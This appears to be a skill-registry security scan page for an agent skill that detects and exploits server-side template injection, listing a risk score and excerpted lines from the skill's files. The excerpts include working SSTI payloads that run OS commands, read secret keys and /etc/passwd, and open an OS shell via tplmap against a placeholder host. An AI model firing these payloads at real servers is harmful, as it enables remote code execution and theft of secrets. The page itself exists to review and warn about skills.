← All skills
exploiting-template-injection-vulnerabilities
77 / 100 · Review before installing
Check before installing. Some of what it can do is expected: a security skill usually runs scanners and checks websites.
By mukul975/Anthropic-Cybersecurity-Skills (GitHub) · security · 35,906 stars · scanned at commit 54a7988
Detects and exploits Server-Side Template Injection (SSTI) vulnerabilities
Works with any agent that supports SKILL.md skills.
What this skill can do
Downloads and installs other software
The author does not mention this.
Found in 2 places.
Runs commands on your computer
This is disclosed by the author in the skill's SKILL.md or README. Expected for a security skill.
Found in 10 places.
Show 7 more
- skills/exploiting-template-injection-vulnerabilities/SKILL.md, line 142
PAYLOAD='{{"".__class__.__mro__[1].__subclasses__()[407]("id",shell=True,stdout=-1).communicate()}}' - skills/exploiting-template-injection-vulnerabilities/SKILL.md, line 146
PAYLOAD='{{cycler.__init__.__globals__.os.popen("id").read()}}' - skills/exploiting-template-injection-vulnerabilities/SKILL.md, line 169
curl -s "https://target.example.com/page?name={{['id']|filter('system')}}" - skills/exploiting-template-injection-vulnerabilities/SKILL.md, line 205
python3 tplmap.py -u "https://target.example.com/page?name=test" --os-shell - skills/exploiting-template-injection-vulnerabilities/SKILL.md, line 237
curl -s "https://target.example.com/page?name={{constructor.constructor('alert(1)')()}}" - skills/exploiting-template-injection-vulnerabilities/SKILL.md, line 308
3. Send GET /page?name={{cycler.__init__.__globals__.os.popen('id').read()}} - skills/exploiting-template-injection-vulnerabilities/scripts/agent.py, line 89
{"name": "cycler_popen", "payload": "{{cycler.__init__.__globals__.os.popen('id').read()}}"},
Sends data to these websites: target.example.com
The author does not mention this. Expected for a security skill.
Found in 30 places.
Show 17 more
- skills/exploiting-template-injection-vulnerabilities/SKILL.md, line 111
curl -s "https://target.example.com/page?name=\${.now}" - skills/exploiting-template-injection-vulnerabilities/SKILL.md, line 115
curl -s "https://target.example.com/page?name=%23set(%24a=1)%24a" - skills/exploiting-template-injection-vulnerabilities/SKILL.md, line 119
curl -s "https://target.example.com/page?name={php}echo%20'test';{/php}" - skills/exploiting-template-injection-vulnerabilities/SKILL.md, line 123
curl -s "https://target.example.com/page?name={{%27test%27.class}}" - skills/exploiting-template-injection-vulnerabilities/SKILL.md, line 136
curl -s "https://target.example.com/page?name={{config.items()}}" - skills/exploiting-template-injection-vulnerabilities/SKILL.md, line 139
curl -s "https://target.example.com/page?name={{config.SECRET_KEY}}" - skills/exploiting-template-injection-vulnerabilities/SKILL.md, line 143
curl -s "https://target.example.com/page?name=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$PAYLOAD'))")" - skills/exploiting-template-injection-vulnerabilities/SKILL.md, line 147
curl -s "https://target.example.com/page?name=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$PAYLOAD'))")" - skills/exploiting-template-injection-vulnerabilities/SKILL.md, line 151
curl -s "https://target.example.com/page?name=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$PAYLOAD'))")" - skills/exploiting-template-injection-vulnerabilities/SKILL.md, line 155
curl -s "https://target.example.com/page?name=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$PAYLOAD'))")" - skills/exploiting-template-injection-vulnerabilities/SKILL.md, line 159
curl -s "https://target.example.com/page?name=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$PAYLOAD'))")" - skills/exploiting-template-injection-vulnerabilities/SKILL.md, line 169
curl -s "https://target.example.com/page?name={{['id']|filter('system')}}" - skills/exploiting-template-injection-vulnerabilities/SKILL.md, line 170
curl -s "https://target.example.com/page?name={{_self.env.registerUndefinedFilterCallback('exec')}}{{_self.env.getFilter('id')}}" - skills/exploiting-template-injection-vulnerabilities/SKILL.md, line 173
curl -s "https://target.example.com/page?name={{'/etc/passwd'|file_excerpt(1,30)}}" - skills/exploiting-template-injection-vulnerabilities/SKILL.md, line 177
curl -s "https://target.example.com/page?name=<#assign ex=\"freemarker.template.utility.Execute\"?new()>\${ex(\"id\")}" - skills/exploiting-template-injection-vulnerabilities/SKILL.md, line 180
curl -s "https://target.example.com/page?name=\${\"freemarker.template.utility.Execute\"?new()(\"whoami\")}" - skills/exploiting-template-injection-vulnerabilities/SKILL.md, line 184
curl -s "https://target.example.com/page?name=%23set(%24e=%22e%22)%24e.getClass().forName(%22java.lang.Runtime%22).getMethod(%22getRuntime%22,null).invoke(null,
and 10 more places
Safer alternatives
Low-risk skills in the same category (security) that look related. Check that one does what you need.
Install
Paste this into your terminal. It downloads exactly the version we scanned, not whatever is newest.
if [ -e ~/.agents/skills/'exploiting-template-injection-vulnerabilities' ] || [ -L ~/.agents/skills/'exploiting-template-injection-vulnerabilities' ]; then echo 'A skill folder named exploiting-template-injection-vulnerabilities already exists — not replacing it' >&2; false; else d=$(mktemp -d) && git clone --quiet --filter=blob:none --no-checkout 'https://github.com/mukul975/Anthropic-Cybersecurity-Skills' "$d" && git -C "$d" checkout --quiet '54a798831d2266a3ca61ce68a7acb80b81160d57' -- 'skills/exploiting-template-injection-vulnerabilities' && mkdir -p ~/.agents/skills && cp -R "$d"/'skills/exploiting-template-injection-vulnerabilities' ~/.agents/skills/'exploiting-template-injection-vulnerabilities' && rm -rf "$d"; fi
Codex reads ~/.agents/skills directly. For Claude Code, Cursor, Copilot, Gemini CLI, Antigravity or OpenCode, also link it. For Claude Code: ln -s ~/.agents/skills/'exploiting-template-injection-vulnerabilities' ~/.claude/skills/'exploiting-template-injection-vulnerabilities' (other agents: ~/.cursor/skills, ~/.copilot/skills, ~/.gemini/skills, ~/.gemini/config/skills, ~/.config/opencode/skills). Or install through the finder skill, which does both.
Badge for your README
The badge for mukul975/Anthropic-Cybersecurity-Skills shows the score of its lowest-scoring skill.
[](https://zalavijaysinh.github.io/skilltrust/repos/mukul975/Anthropic-Cybersecurity-Skills/)
Score history
| Date | Version | Score |
|---|
| 2026-11-08 | 54a7988 | 77 |
| 2026-11-07 | 54a7988 | 77 |